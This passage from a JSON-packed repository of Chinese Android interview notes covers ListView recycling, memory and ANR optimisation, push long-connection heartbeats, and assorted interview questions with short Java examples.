    "content": "# ListView原理及优化\n\n##原理\n\nListView的实现离不开Adapter。可以这么理解：ListView中给出了数据来的时候，View如何实现的具体方式，相当于MVC中的V；而Adapter提供了相当于MVC中的C，指挥了ListView的数据加载等行为。\n\n提一个问题：假设ListView中有10W个条项，那内存中会缓存10W个吗？答案当然是否定的。那么是如何实现的呢？下面这张图可以清晰地解释其中的原理:\n\n![](images/android-listview.jpg)\n\n可以看到当一个View移出可视区域的时候，设为View1，它会被标记Recycle，然后可能：\n\n  - 新进入的View2与View1类型相同，那么在getView方法传入的convertView就不是null而就是View1。换句话说，View1被重用了\n  - 新进入的View2与View1类型不同，那么getView传入的convertView就是null，这是需要new一个View。当内存紧张时，View1就会被GC\n\n## ListView的优化(以异步加载Bitmap优化为例)\n\n首先概括的说ListView优化分为三级缓存:\n\n  - 内存缓存\n  - 文件缓存\n  - 网络读取\n\n简要概括就是在getView中，如果加载过一个图片，放入Map类型的一个MemoryCache中(示例代码使用的是Collections.synchronizedMap(new LinkedHashMap<String, Bitmap>(10, 1.5f, true))来维护一个试用LRU的堆)。如果这里获取不到，根据View被Recycle之前放入的TAG中记录的uri从文件系统中读取文件缓存。如果本地都找不到，再去网络中异步加载。\n\n这里有几个注意的优化点：\n\n  - 从文件系统中加载图片也没有内存中加载那么快，甚至可能内存中加载也不够快。因此在ListView中应设立busy标志位，当ListView滚动时busy设为true，停止各个view的图片加载。否则可能会让UI不够流畅用户体验度降低。\n  - 文件加载图片放在子线程实现，否则快速滑动屏幕会卡\n  - 开启网络访问等耗时操作需要开启新线程，应使用线程池避免资源浪费，最起码也要用AsyncTask。\n  - Bitmap从网络下载下来最好先放到文件系统中缓存。这样一是方便下一次加载根据本地uri直接找到，二是如果Bitmap过大，从本地缓存可以方便的使用Option.inSampleSize配合Bitmap.decodeFile(ui, options)或Bitmap.createScaledBitmap来进行内存压缩\n"
  },
  {
    "path": "docs/android/interview/android/okhttp.md",
    "content": "# [OkHttp](http://www.jianshu.com/p/aad5aacd79bf)\n\n具体内容在 Pocket\n"
  },
  {
    "path": "docs/android/interview/android/optimize.md",
    "content": "# 性能优化\n\n## ANR\n\nANR全称`Application Not Responding`，意思就是程序未响应。\n\n### 出现场景\n\n  - 主线程被IO操作（从4.0之后网络IO不允许在主线程中）阻塞。\n  - 主线程中存在耗时的计算\n  - 主线程中错误的操作，比如Thread.wait或者Thread.sleep等\n\nAndroid系统会监控程序的响应状况，一旦出现下面两种情况，则弹出ANR对话框\n\n  - 应用在5秒内未响应用户的输入事件（如按键或者触摸）\n  - BroadcastReceiver未在10秒内完成相关的处理\n\n### 如何避免\n\n基本的思路就是将IO操作在工作线程来处理，减少其他耗时操作和错误操作\n\n  - 使用AsyncTask处理耗时IO操作。\n  - 使用Thread或者HandlerThread时，调用`Process.setThreadPriority(Process.THREAD_PRIORITY_BACKGROUND)`设置优先级，否则仍然会降低程序响应，因为默认Thread的优先级和主线程相同。\n  - 使用Handler处理工作线程结果，而不是使用Thread.wait()或者Thread.sleep()来阻塞主线程。\n  - `Activity`的`onCreate`和`onResume`回调中尽量避免耗时的代码\n  - `BroadcastReceiver`中`onReceive`代码也要尽量减少耗时，建议使用`IntentService`处理。\n\n### 如何改善\n\n通常100到200毫秒就会让人察觉程序反应慢，为了更加提升响应，可以使用下面的几种方法\n\n  - 如果程序正在后台处理用户的输入，建议使用让用户得知进度，比如使用ProgressBar控件。\n  - 程序启动时可以选择加上欢迎界面，避免让用户察觉卡顿。\n  - 使用`Systrace`和`TraceView`找出影响响应的问题。\n\n如果开发机器上出现问题，我们可以通过查看`/data/anr/traces.txt`即可，最新的ANR信息在最开始部分。\n\n## OOM\n\n在实践操作当中，可以从四个方面着手减小内存使用，首先是减小对象的内存占用，其次是内存对象的重复利用，然后是避免对象的内存泄露，最后是内存使用策略优化。\n\n### 减小对象的内存占用\n\n  - `使用更加轻量级的数据结构`：例如，我们可以考虑使用`ArrayMap`/`SparseArray`而不是`HashMap`等传统数据结构，相比起Android系统专门为移动操作系统编写的`ArrayMap`容器，在大多数情况下，`HashMap`都显示效率低下，更占内存。另外，`SparseArray`更加高效在于，**避免了对key与value的自动装箱，并且避免了装箱后的解箱**。\n\n  - `避免使用Enum`：在Android中应该尽量使用`int`来代替`Enum`，因为使用`Enum`会导致编译后的dex文件大小增大，并且使用`Enum`时，其运行时还会产生额外的内存占用。\n\n  - `减小`Bitmap`对象的内存占用`：\n  \n    - `inBitmap`：如果设置了这个字段，Bitmap在加载数据时可以复用这个字段所指向的bitmap的内存空间。**但是，内存能够复用也是有条件的。比如，在`Android 4.4(API level 19)`之前，只有新旧两个Bitmap的尺寸一样才能复用内存空间。`Android 4.4`开始只要旧 Bitmap 的尺寸大于等于新的 Bitmap 就可以复用了**。\n\n    - `inSampleSize`：缩放比例，在把图片载入内存之前，我们需要先计算出一个合适的缩放比例，避免不必要的大图载入。\n\n    - `decode format`：解码格式，选择`ARGB_8888` `RBG_565` `ARGB_4444` `ALPHA_8`，存在很大差异。\n    > ARGB_4444：每个像素占四位，即A=4，R=4，G=4，B=4，那么一个像素点占4+4+4+4=16位\n    > ARGB_8888：每个像素占四位，即A=8，R=8，G=8，B=8，那么一个像素点占8+8+8+8=32位\n    > RGB_565：每个像素占四位，即R=5，G=6，B=5，没有透明度，那么一个像素点占5+6+5=16位\n    > ALPHA_8：每个像素占四位，只有透明度，没有颜色。\n\n  - `使用更小的图片`：在设计给到资源图片的时候，我们需要特别留意这张图片是否存在可以压缩的空间，是否可以使用一张更小的图片。**尽量使用更小的图片不仅仅可以减少内存的使用，还可以避免出现大量的InflationException**。假设有一张很大的图片被XML文件直接引用，很有可能在初始化视图的时候就会因为内存不足而发生InflationException，这个问题的根本原因其实是发生了OOM。\n\n### 内存对象的重复使用\n\n大多数对象的复用，最终实施的方案都是利用对象池技术，要么是在编写代码的时候显式的在程序里面去创建对象池，然后处理好复用的实现逻辑，要么就是利用系统框架既有的某些复用特性达到减少对象的重复创建，从而减少内存的分配与回收。\n\n  - `复用系统自带资源`：Android系统本身内置了很多的资源，例如字符串/颜色/图片/动画/样式以及简单布局等等，这些资源都可以在应用程序中直接引用。**这样做不仅仅可以减少应用程序的自身负重，减小APK的大小，另外还可以一定程度上减少内存的开销，复用性更好**。但是也有必要留意Android系统的版本差异性，对那些不同系统版本上表现存在很大差异，不符合需求的情况，还是需要应用程序自身内置进去。\n\n  - `ListView ViewHodler`\n\n  - `Bitmap对象的复用`：在ListView与GridView等显示大量图片的控件里面需要使用LRU的机制来缓存处理好的Bitmap。\n\n  - `inBitmap`：**使用inBitmap属性可以告知Bitmap解码器去尝试使用已经存在的内存区域**，新解码的bitmap会尝试去使用之前那张bitmap在heap中所占据的`pixel data`内存区域，而不是去问内存重新申请一块区域来存放bitmap。\n  > - 使用inBitmap，在4.4之前，只能重用相同大小的bitmap的内存区域，而4.4之后你可以重用任何bitmap的内存区域，只要这块内存比将要分配内存的bitmap大就可以。这里最好的方法就是使用LRUCache来缓存bitmap，后面来了新的bitmap，可以从cache中按照api版本找到最适合重用的bitmap，来重用它的内存区域。\n  > - 新申请的bitmap与旧的bitmap必须有相同的解码格式\n\n  - 避免在onDraw方法里面执行对象的创建：类似onDraw等频繁调用的方法，一定需要注意避免在这里做创建对象的操作，因为他会迅速增加内存的使用，而且很容易引起频繁的gc，甚至是内存抖动。\n\n  - `StringBuilder`：在有些时候，代码中会需要使用到大量的字符串拼接的操作，这种时候有必要考虑使用StringBuilder来替代频繁的“+”。\n\n### 避免内存泄漏\n\n  - `内部类引用导致Activity的泄漏`：最典型的场景是Handler导致的Activity泄漏，如果Handler中有延迟的任务或者是等待执行的任务队列过长，都有可能因为Handler继续执行而导致Activity发生泄漏。\n  - `Activity Context被传递到其他实例中，这可能导致自身被引用而发生泄漏`。\n  - 考虑使用Application Context而不是Activity Context\n  - 注意临时Bitmap对象的及时回收\n  - 注意监听器的注销\n  - 注意缓存容器中的对象泄漏：不使用的对象要将引用置空。\n  - 注意Cursor对象是否及时关闭\n\n### 内存优化策略\n\n  - 综合考虑设备内存阈值与其他因素设计合适的缓存大小\n\n  - `onLowMemory()`：Android系统提供了一些回调来通知当前应用的内存使用情况，通常来说，当所有的background应用都被kill掉的时候，forground应用会收到onLowMemory()的回调。在这种情况下，需要尽快释放当前应用的非必须的内存资源，从而确保系统能够继续稳定运行。\n\n  - `onTrimMemory()`：Android系统从4.0开始还提供了onTrimMemory()的回调，当系统内存达到某些条件的时候，所有正在运行的应用都会收到这个回调，同时在这个回调里面会传递以下的参数，代表不同的内存使用情况，收到onTrimMemory()回调的时候，需要根据传递的参数类型进行判断，合理的选择释放自身的一些内存占用，一方面可以提高系统的整体运行流畅度，另外也可以避免自己被系统判断为优先需要杀掉的应用\n\n  - 资源文件需要选择合适的文件夹进行存放：例如我们只在`hdpi`的目录下放置了一张100100的图片，那么根据换算关系，`xxhdpi`的手机去引用那张图片就会被拉伸到200200。需要注意到在这种情况下，内存占用是会显著提高的。**对于不希望被拉伸的图片，需要放到assets或者nodpi的目录下**。\n\n  - 谨慎使用static对象\n\n  - 优化布局层次，减少内存消耗\n\n  - 使用FlatBuffer等工具序列化数据\n\n  - 谨慎使用依赖注入框架\n\n  - 使用ProGuard来剔除不需要的代码\n\n## 卡顿优化\n\n导致Android界面滑动卡顿主要有两个原因：\n\n  - UI线程（main）有耗时操作\n\n  - 视图渲染时间过长，导致卡顿\n\n众所周知，界面的流畅度主要依赖`FPS`这个值，这个值是通过（1s/渲染1帧所花费的时间）计算所得，FPS值越大视频越流畅，所以就需要渲染1帧的时间能尽量缩短。**正常流畅度的FPS值在60左右，即渲染一帧的时间不应大于16 ms**。\n\n如果想让应用流畅运行 ：\n\n  - 不要阻塞UI线程；\n  - 不要在UI线程之外操作UI；\n  - 减少UI嵌套层级\n\n**针对界面切换卡顿，一般出现在组件初始化的地方。屏幕滑动卡顿，ui嵌套层级，还有图片加载，图片的话，滑动不加载，监听scrollListener**。\n"
  },
  {
    "path": "docs/android/interview/android/push.md",
    "content": "# 推送机制\n\n## 轮询\n\n客户端隔一段时间就去服务器上获取一下信息，看是否有更新的信息出现，这就是轮询。我们可以通过`AlarmManager`来管理时间，当然时间的设置策略也是十分重要的，由于每次轮询都需要建立和释放TCP连接，所以在移动网络情况下耗电量相当大。\n\n![](images/android-radio-state.png)\n\n>移动网络状态转换\n\n针对不同应用的需求，有的可以每5分钟查询一次或者每10分钟查询一次，但是这种策略的电量和流量消耗十分严重。我们可以使用退避法（暂时这么说），比如第一次我们每隔2分钟查询一次数据，如果没有数据，就将查询间隔加倍。\n\n同时进程的保活也十分重要，这部分的知识参照[进程保活](keep-live。md)。\n\n## 长连接\n\n客户端主动和服务器建立TCP长连接之后，客户端定期向服务器发送心跳包，有消息的时候，服务器直接通过这个已经建立好的TCP连接通知客户端。\n\n长连接就是 **建立连接之后，不主动断开。双方互相发送数据，发完了也不主动断开连接，之后有需要发送的数据就继续通过这个连接发送**。\n\n### 影响TCP连接寿命的因素\n\n#### NAT超时\n\n因为 IPv4 的 IP 量有限，运营商分配给手机终端的 IP 是运营商内网的 IP，手机要连接 Internet，就需要通过运营商的网关做一个网络地址转换（Network Address Translation，NAT）。简单的说运营商的网关需要维护一个外网 IP、端口到内网 IP、端口的对应关系，以确保内网的手机可以跟 Internet 的服务器通讯。\n\n![](images/push-nat.jpg)\n\n>NAT 功能由图中的 GGSN 模块实现。\n\n大部分移动无线网络运营商都在链路一段时间没有数据通讯时，会淘汰 NAT 表中的对应项，造成链路中断。\n\n#### DHCP租期\n\n目前测试发现安卓系统对DHCP的处理有Bug，DHCP租期到了不会主动续约并且会继续使用过期IP，这个问题会造成TCP长连接偶然的断连。\n\n#### 网络状态变化\n\n手机网络和WIFI网络切换、网络断开和连上等情况有网络状态的变化，也会使长连接变为无效连接，需要监听响应的网络状态变化事件，重新建立Push长连接。\n\n### 心跳包\n\nTCP长连接本质上不需要心跳包来维持，其主要是为了防止上面提到的NAT超时，既然一些`NAT设备`判断是否淘汰`NAT映射`的依据是一定时间没有数据，那么客户端就主动发一个数据，这样就能维持TCP长连接。\n\n当然，如果仅仅是为了防止NAT超时，可以让服务器来发送心跳包给客户端，不过这样做有个弊病就是，万一连接断了，服务器就再也联系不上客户端了。所以心跳包必须由客户端发送，客户端发现连接断了，还可以尝试重连服务器。\n\n#### 时间间隔\n发送心跳包势必要先唤醒设备，然后才能发送，如果唤醒设备过于频繁，或者直接导致设备无法休眠，会大量消耗电量，而且移动网络下进行网络通信，比在wifi下耗电得多。所以这个心跳包的时间间隔应该尽量的长，最理想的情况就是根本没有NAT超时，比如刚才我说的两台在同一个wifi下的电脑，完全不需要心跳包。这也就是网上常说的长连接，慢心跳。\n\n现实是残酷的，根据网上的一些说法，中移动2/3G下，NAT超时时间为5分钟，中国电信3G则大于28分钟，理想的情况下，客户端应当以略小于NAT超时时间的间隔来发送心跳包。\n\n#### 心跳包和轮询的区别\n\n  - 轮询是为了获取数据，而心跳是为了保活TCP连接。\n  - 轮询得越频繁，获取数据就越及时，心跳的频繁与否和数据是否及时没有直接关系。\n  - 轮询比心跳能耗更高，因为一次轮询需要经过TCP三次握手，四次挥手，单次心跳不需要建立和拆除TCP连接。\n"
  },
  {
    "path": "docs/android/interview/android/questions.md",
    "content": "# 面试题\n\n### APK安装过程\n\n应用安装涉及到如下几个目录：\n  - **system/app**：系统自带的应用程序，无法删除\n  - **data/app**：用户程序安装的目录，有删除权限。安装时把apk文件复制到此目录\n  - **data/data**：存放应用程序的数据\n  - **data/dalvik-cache**：将apk中的dex文件安装到dalvik-cache目录下\n\n复制APK安装包到data/app目录下，解压并扫描安装包，把dex文件(Dalvik字节码)保存到dalvik-cache目录，并在data/data目录下创建对应的应用数据目录。\n\n***\n\n### invalidate()和postInvalidate() 的区别\n\n- `invalidate()`是用来刷新View的，必须是在UI线程中进行工作。比如在修改某个view的显示时，调用invalidate()才能看到重新绘制的界面。\n- `postInvalidate()`在工作者线程中被调用。\n\n***\n\n### 导入外部数据库\n\nAndroid系统下数据库应该存放在 `/data/data/com.*.*(package name)/` 目录下，所以我们需要做的是把已有的数据库传入那个目录下。操作方法是用`FileInputStream`读取原数据库，再用`FileOutputStream`把读取到的东西写入到那个目录。\n\n***\n\n### Parcelable和Serializable区别\n\n`Parcelable`的性能比`Serializable`好，在内存开销方面较小，所以在内存间数据传输时推荐使用`Parcelable`，如activity间传输数据，而`Serializable`可将数据持久化方便保存，所以在需要保存或网络传输数据时选择`Serializable`，因为android不同版本`Parcelable`可能不同，所以不推荐使用`Parcelable`进行数据持久化。\n\n`Serializable`序列化不保存静态变量，可以使用`Transient`关键字对部分字段不进行序列化，也可以覆盖`writeObject`、`readObject`方法以实现序列化过程自定义。\n\n***\n\n### Android里跨进程传递数据的几种方案\n\n  - Binder\n  - Socket/LocalSocket\n  - 共享内存\n\n***\n\n### 匿名共享内存，使用场景\n\n在Android系统中，提供了独特的匿名共享内存子系统`Ashmem(Anonymous Shared Memory)`，它以驱动程序的形式实现在内核空间中。它有两个特点，一是能够辅助内存管理系统来有效地管理不再使用的内存块，二是它通过Binder进程间通信机制来实现进程间的内存共享。\n\n`ashmem`并像`Binder`是Android重新自己搞的一套东西，而是利用了Linux的 **tmpfs文件系统**。tmpfs是一种可以基于RAM或是SWAP的高速文件系统，然后可以拿它来实现不同进程间的内存共享。\n\n大致思路和流程是：\n\n  - Proc A 通过 tmpfs 创建一块共享区域，得到这块区域的 fd（文件描述符）\n  - Proc A 在 fd 上 mmap 一片内存区域到本进程用于共享数据\n  - Proc A 通过某种方法把 fd 倒腾给 Proc B\n  - Proc B 在接到的 fd 上同样 mmap 相同的区域到本进程\n  - 然后 A、B 在 mmap 到本进程中的内存中读、写，对方都能看到了\n\n其实核心点就是 **创建一块共享区域，然后2个进程同时把这片区域 mmap 到本进程，然后读写就像本进程的内存一样**。这里要解释下第3步，为什么要倒腾 fd，因为在 linux 中 fd 只是对本进程是唯一的，在 Proc A 中打开一个文件得到一个 fd，但是把这个打开的 fd 直接放到 Proc B 中，Proc B 是无法直接使用的。但是文件是唯一的，就是说一个文件（file）可以被打开多次，每打开一次就有一个 fd（文件描述符），所以对于同一个文件来说，需要某种转化，把 Proc A 中的 fd 转化成 Proc B 中的 fd。这样 Proc B 才能通过 fd mmap 同样的共享内存文件。\n\n使用场景：进程间大量数据传输。\n\n***\n\n### ContentProvider实现原理\n\nContentProvider 有以下两个特点：\n\n  - **封装**：对数据进行封装，提供统一的接口，使用者完全不必关心这些数据是在DB，XML、Preferences或者网络请求来的。当项目需求要改变数据来源时，使用我们的地方完全不需要修改。\n  - **提供一种跨进程数据共享的方式**。\n\n`Content Provider`组件在不同应用程序之间传输数据是基于匿名共享内存机制来实现的。其主要的调用过程：\n\n1. 通过ContentResolver先查找对应给定Uri的ContentProvider，返回对应的`BinderProxy`\n\n  - 如果该Provider尚未被调用进程使用过:\n    - 通过`ServiceManager`查找activity service得到`ActivityManagerService`对应`BinderProxy`\n    - 调用`BinderProxy`的transcat方法发送`GET_CONTENT_PROVIDER_TRANSACTION`命令，得到对应`ContentProvider`的`BinderProxy`。\n\n  - 如果该Provider已被调用进程使用过，则调用进程会保留使用过provider的HashMap。此时直接从此表查询即得。\n\n2. 调用`BinderProxy`的`query()`\n\n***\n\n### 如何使用ContentProvider进行批量操作？\n\n通常进行数据的批量操作我们都会使用“事务”，但是`ContentProvider`如何进行批量操作呢？创建 `ContentProviderOperation` 对象数组，然后使用 `ContentResolver.applyBatch()` 将其分派给内容提供程序。您需将内容提供程序的授权传递给此方法，而不是特定内容 `URI`。这样可使数组中的每个 `ContentProviderOperation` 对象都能适用于其他表。调用 `ContentResolver.applyBatch()` 会返回结果数组。\n\n同时我们还可以通过`ContentObserver`对数据进行观察：\n\n  1. 创建我们特定的`ContentObserver`派生类，必须重载`onChange()`方法去处理回调后的功能实现\n  2. 利用`context.getContentResolover()`获得`ContentResolove`对象，接着调用`registerContentObserver()`方法去注册内容观察者，为指定的Uri注册一个`ContentObserver`派生类实例，当给定的Uri发生改变时，回调该实例对象去处理。\n  3. 由于`ContentObserver`的生命周期不同步于Activity和Service等，因此，在不需要时，需要手动的调用`unregisterContentObserver()`去取消注册。\n\n***\n\n### Application类的作用\n\n Android系统会为每个程序运行时创建一个`Application`类的对象且仅创建一个，所以Application可以说是单例 (singleton)模式的一个类。`Application`对象的生命周期是整个程序中最长的，它的生命周期就等于这个程序的生命周期。因为它是全局的单例的，所以在不同的`Activity`,`Service`中获得的对象都是同一个对象。所以通过`Application`来进行一些，数据传递，数据共享，数据缓存等操作。\n\n***\n\n### 广播注册后不解除注册会有什么问题？(内存泄露)\n\n我们可以通过两种方式注册`BroadcastReceiver`，一是在Activity启动过程中通过代码动态注册，二是在AndroidManifest.xml文件中利用`<receiver>`标签进行静态注册。\n\n  - 对于第一种方法，我们需要养成一个良好的习惯：在Activity进入停止或者销毁状态的时候使用`unregisterReceiver`方法将注册的`BroadcastReceiver`注销掉。\n  - 对于`<receiver>`标签进行注册的，那么该对象的实例在`onReceive`被调用之后就会在任意时间内被销毁。\n\n***\n\n### 属性动画(Property Animation)和补间动画(Tween Animation)的区别\n\n  - 补间动画只是针对于View，超脱了View就无法操作了。\n  - 补间动画有四种动画操作（移动，缩放，旋转，淡入淡出）。\n  - 补间动画只是改变View的显示效果而已，但是不会真正的去改变View的属性。\n  - 属性动画改变View的实际属性值，当然它也可以不作用于View。\n\n***\n\n### BrocastReceive里面可不可以执行耗时操作?\n\n不能，当 `onReceive()` 方法在 10 秒内没有执行完毕，Android 会认为该程序无响应，所以在`BroadcastReceiver`里不能做一些比较耗时的操作，否侧会弹出 ANR 的对话框。\n\n***\n\n### Android优化工具\n\n#### TraceView\n\ntraceview 是Android SDK中自带的一个工具，可以 **对应用中方法调用耗时进行统计分析，是Android性能优化和分析时一个很重要的工具**。使用方法：第一种是在相应进行traceview分析的开始位置和结束位置分别调用`startMethodTracing`和`stopMethodTracing`方法。第二种是在ddms中直接使用，即在ddms中在选中某个要进行监控的进程后，点击如图所示的小图标开始监控，在监控结束时再次点击小图标，ddms会自动打开traceview视图。\n\n#### Systrace\n\nSystrace是Android4.1中新增的性能数据采样和分析工具。它可帮助开发者收集Android关键子系统（如`surfaceflinger`、`WindowManagerService`等Framework部分关键模块、服务）的运行信息，从而帮助开发者更直观的分析系统瓶颈，改进性能。\n\nSystrace的功能包括跟踪系统的I/O操作、内核工作队列、CPU负载以及Android各个子系统的运行状况等。\n\n***\n\n### Dalvik与ART的区别？\n\nDalvik是Google公司自己设计用于Android平台的Java虚拟机。Dalvik虚拟机是Google等厂商合作开发的Android移动设备平台的核心组成部分之一，它可以支持已转换为.dex(即Dalvik Executable)格式的Java应用程序的运行，.dex格式是专为Dalvik应用设计的一种压缩格式，适合内存和处理器速度有限的系统。Dalvik经过优化，允许在有限的内存中同时运行多个虚拟机的实例，并且每一个Dalvik应用作为独立的Linux进程执行。独立的进程可以防止在虚拟机崩溃的时候所有程序都被关闭。\n\nART代表`Android Runtime`,其处理应用程序执行的方式完全不同于Dalvik，**Dalvik是依靠一个Just-In-Time(JIT)编译器去解释字节码。开发者编译后的应用代码需要通过一个解释器在用户的设备上运行，这一机制并不高效，但让应用能更容易在不同硬件和架构上运行。ART则完全改变了这套做法，在应用安装的时候就预编译字节码到机器语言，这一机制叫 Ahead-Of-Time(AOT) 编译** 。在移除解释代码这一过程后，应用程序执行将更有效率，启动更快。\n\nART优点：\n\n  1. 系统性能的显著提升\n  2. 应用启动更快、运行更快、体验更流畅、触感反馈更及时\n  3. 更长的电池续航能力\n  4. 支持更低的硬件\n\nART缺点：\n\n  1. 更大的存储空间占用，可能会增加10%-20%\n  2. 更长的应用安装时间\n\n***\n\n### Android动态权限？\n\nAndroid 6.0 动态权限，这里以拨打电话的权限为例，首先需要在Manifest里添加`android.permission.CALL_PHONE`权限。\n\n```Java\nint checkCallPhonePermission = ContextCompat.checkSelfPermission(this, Manifest.permission.CALL_PHONE);\n    if (checkCallPhonePermission != PackageManager.PERMISSION_GRANTED) {\n        ActivityCompat.requestPermissions(\n                this, new String[]{Manifest.permission.CALL_PHONE}, REQUEST_CODE_ASK_CALL_PHONE);\n        return;\n    }\n```\n\n在获取权限后，可以重写Activity.onRequestPermissionsResult方法来进行回调。\n\n```Java\n@Override\npublic void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions,\n                                       @NonNull int[] grantResults) {\n    switch (requestCode) {\n        case REQUEST_CODE_ASK_CALL_PHONE:\n            if (grantResults[0] == PackageManager.PERMISSION_GRANTED) {\n                // Permission Granted\n                Toast.makeText(MainActivity.this, \"CALL_PHONE Granted\", Toast.LENGTH_SHORT)\n                        .show();\n            } else {\n                // Permission Denied\n                Toast.makeText(MainActivity.this, \"CALL_PHONE Denied\", Toast.LENGTH_SHORT)\n                        .show();\n            }\n            break;\n        default:\n            super.onRequestPermissionsResult(requestCode, permissions, grantResults);\n    }\n}\n```\n\n***\n\n### ViewPager如何判断左右滑动？\n\n实现`OnPageChangeListener`并重写`onPageScrolled`方法，通过参数进行判断。\n\n***\n\n### ListView与RecyclerView\n\n  1. **ViewHolder**：在ListView中，ViewHolder需要自己来定义，且这只是一种推荐的使用方式，不使用当然也可以，这不是必须的。而在RecyclerView中使用 `RecyclerView.ViewHolder` 则变成了必须，尽管实现起来稍显复杂，但它却解决了ListView面临的上述不使用自定义ViewHolder时所面临的问题。\n\n  2. **LayoutManager**：RecyclerView提供了更加丰富的布局管理。`LinearLayoutManager`，可以支持水平和竖直方向上滚动的列表。`StaggeredGridLayoutManager`，可以支持交叉网格风格的列表，类似于瀑布流或者Pinterest。`GridLayoutManager`，支持网格展示，可以水平或者竖直滚动，如展示图片的画廊。\n\n  3. **ItemAnimator**：相比较于ListView，`RecyclerView.ItemAnimator` 则被提供用于在`RecyclerView`添加、删除或移动item时处理动画效果。\n\n  4. **ItemDecoration**：RecyclerView在默认情况下并不在item之间展示间隔符。如果你想要添加间隔符，你必须使用`RecyclerView.ItemDecoration`类来实现。\n\nListView可以设置选择模式，并添加`MultiChoiceModeListener`，`RecyclerView`中并没有提供这样功能。\n\n***\n\n### SpannableString\n\nTextView通常用来显示普通文本，但是有时候需要对其中某些文本进行样式、事件方面的设置。Android系统通过`SpannableString`类来对指定文本进行相关处理。可以通过`SpannableString`来对TextView进行富文本设置，包括但不限于文本颜色，删除线，图片，超链接，字体样式。\n\n***\n\n### 描述一下Android手机启动过程和App启动过程？\n\n#### Android手机启动过程\n\n当我们开机时，首先是启动Linux内核，在Linux内核中首先启动的是init进程，这个进程会去读取配置文件`system\\core\\rootdir\\init.rc`配置文件，这个文件中配置了Android系统中第一个进程Zygote进程。\n\n启动Zygote进程 --> 创建AppRuntime（Android运行环境） --> 启动虚拟机 --> 在虚拟机中注册JNI方法 --> 初始化进程通信使用的Socket（用于接收AMS的请求） --> 启动系统服务进程 --> 初始化时区、键盘布局等通用信息 --> 启动Binder线程池 --> 初始化系统服务（包括PMS，AMS等等） --> 启动Launcher\n\n#### App启动过程\n\n![](images/app_launch.jpg)\n\n  1. 应用的启动是从其他应用调用`startActivity`开始的。通过代理请求AMS启动Activity。\n\n  2. AMS创建进程，并进入`ActivityThread`的main入口。在main入口，主线程初始化，并loop起来。主线程初始化，主要是实例化`ActivityThread`和`ApplicationThread`，以及`MainLooper`的创建。`ActivityThread`和`ApplicationThread`实例用于与AMS进程通信。\n\n  3. 应用进程将实例化的`ApplicationThread`，`Binder`传递给AMS，这样AMS就可以通过代理对应用进程进行访问。\n\n  4. AMS通过代理，请求启动Activity。`ApplicationThread`通知主线程执行该请求。然后，`ActivityThread`执行Activity的启动。\n\n  5. Activity的启动包括，Activity的实例化，Application的实例化，以及Activity的启动流程：create、start、resume。\n\n\n可以看到 **入口Activity其实是先于Application实例化，只是onCreate之类的流程，先于Activity的流程**。另外需要`scheduleLaunchActivity`，在`ApplicationThreaad`中，对应AMS管理Activity生命周期的方法都以`scheduleXXXActivity`，ApplicationThread在Binder线程中，它会向主线程发送消息，ActivityThread的Handler会调用相应的handleXXXActivity方法，然后会执行performXXXActivity方法，最终调用Activity的onXXX方法\n\n***\n\n### Include、Merge、ViewStub的作用\n\n**Include**：布局重用\n\n  - `<include />`标签可以使用单独的layout属性，这个也是必须使用的。\n\n  - 可以使用其他属性。`<include />`标签若指定了ID属性，而你的layout也定义了ID，则你的layout的ID会被覆盖，解决方案。\n\n  - 在`<include />`标签中所有的`android:layout_*`都是有效的，**前提是必须要写layout_width和layout_height两个属性**。\n\n  - 布局中可以包含两个相同的include标签\n\n**Merge**：减少视图层级，多用于替换FrameLayout或者当一个布局包含另一个时，`<merge/>`标签消除视图层次结构中多余的视图组。\n\n>例如：你的主布局文件是垂直布局，引入了一个垂直布局的include，这是如果include布局使用的LinearLayout就没意义了，使用的话反而减慢你的UI表现。这时可以使用<merge/>标签优化。\n\n**ViewStub**：需要时使用。优点是当你需要时才会加载，使用他并不会影响UI初始化时的性能。需要使用时调用`inflate()`。\n\n***\n\n### Asset目录与res目录的区别\n\n  - **assets 目录**：不会在`R.java`文件下生成相应的标记，assets文件夹可以自己创建文件夹，必须使用`AssetsManager`类进行访问，存放到这里的资源在运行打包的时候都会打入程序安装包中，\n\n  - **res 目录**：会在R.java文件下生成标记，这里的资源会在运行打包操作的时候判断哪些被使用到了，没有被使用到的文件资源是不会打包到安装包中的。\n\n> res/raw 和 assets文件夹来存放不需要系统编译成二进制的文件，例如字体文件等\n\n> res/raw不可以有目录结构，而assets则可以有目录结构，也就是assets目录下可以再建立文件夹\n\n***\n\n### System.gc && Runtime.gc\n\n`System.gc`和`Runtime.gc`是等效的，在`System.gc`内部也是调用的`Runtime.gc`。**调用两者都是通知虚拟机要进行gc，但是否立即回收还是延迟回收由JVM决定**。两者唯一的区别就是一个是类方法，一个是实例方法。\n\n***\n\n### Application 在多进程下会多次调用 onCreate() 么？\n\n当采用多进程的时候，比如下面的Service 配置：\n\n```XML\n<service\n    android:name=\".MyService\"\n    android:enabled=\"true\"\n    android:exported=\"false\"\n    android:process=\":remote\" />\n```\n\n> android:process 属性中 `:`的作用就是把这个名字附加到你的包所运行的标准进程名字的后面作为新的进程名称。\n\n这样配置会调用 onCreate() 两次。\n\n***\n\n### Theme && Style\n\n  - **Style** 是一组外观、样式的属性集合，适用于 View 和 Window 。\n\n  - **Theme** 是一种应用于整个 Activity 或者 Application ，而不是独立的 View。\n\n***\n\n### SQLiteOpenHelper.onCreate() 调用时机？\n\n在调`getReadableDatabase`或`getWritableDatabase`时，会判断指定的数据库是否存在，不存在则调`SQLiteDatabase.onCreate`创建， `onCreate`只在数据库第一次创建时才执行。\n\n***\n\n### Removecallback 失效？\n\nRemovecallback 必须是同一个Handler才能移除。\n\n***\n\n### Toast 如果会短时间内频繁显示怎么优化？\n\n```Java\npublic void update(String msg){\n  toast.setText(msg);\n  toast.show();\n}\n```\n\n***\n\n### Notification 如何优化？\n\n可以通过 相同 ID 来更新 Notification 。\n\n***\n\n### 应用怎么判断自己是处于前台还是后台？\n\n主要是通过 `getRunningAppProcesses()` 方法来实现。\n\n```Java\nActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);\nList<ActivityManager.RunningAppProcessInfo> appProcesses = activityManager.getRunningAppProcesses();\nfor (ActivityManager.RunningAppProcessInfo appProcess : appProcesses) {\n    if (appProcess.processName.equals(getPackageName())) {\n        if (appProcess.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {\n            Log.d(TAG, String.format(\"Foreground App:%s\", appProcess.processName));\n        } else {\n            Log.d(TAG, \"Background App:\" + appProcess.processName);\n        }\n    }\n}\n```\n\n***\n\n### 